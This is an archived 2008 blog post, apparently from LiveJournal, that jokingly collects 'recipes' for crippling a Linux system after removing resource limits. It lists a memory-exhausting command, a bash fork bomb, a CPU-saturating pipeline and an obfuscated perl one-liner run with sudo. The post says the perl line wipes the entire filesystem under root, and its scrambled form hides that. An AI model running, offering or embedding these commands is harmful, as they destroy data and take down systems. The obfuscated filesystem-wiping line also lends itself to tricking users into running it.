peter_lemenkov
July 15th, 2008 
12:03 pm - How to screw up your system effectively?
Subj.

There is one thing you must do, before trying to stress your system. You must ensure that all restrictions in limits.conf (man limits.conf) are dropped.

Ok, assuming that you're already did it.

According to this nano-cookbook from [info]alexkbs@lj there are some funny recipes:

* Q: How to eat all memory available?
A1: tail /dev/zero (recipe from [info]tzirechnoy@lj)
A2: tail /dev/urandom | cat - | grep something (recipe from [info]deka@lj)
A3:

#!/bin/bash
:(){ :|:& };:


(funny little forkbomb from http://en.wikipedia.org/wiki/Fork_bomb mentioned by [info]zhukov_pavel@lj)

* Q: How to consume all CPU cycles?
A: cat /dev/urandom | gzip > /dev/null (from [info]_pacak_@lj)

* Q: How to remove entire FS in a perfect way?
A: See this kewl perl-script for kewl perl-haxxors! (According to this article)

echo "test... test... test..." | sudo perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

Note! In order to remove your fs completely (not only your homedir) you must run it under root priveleges.

Happy hacking! :)
This page was loaded Nov 22nd 2008, 6:43 pm GMT.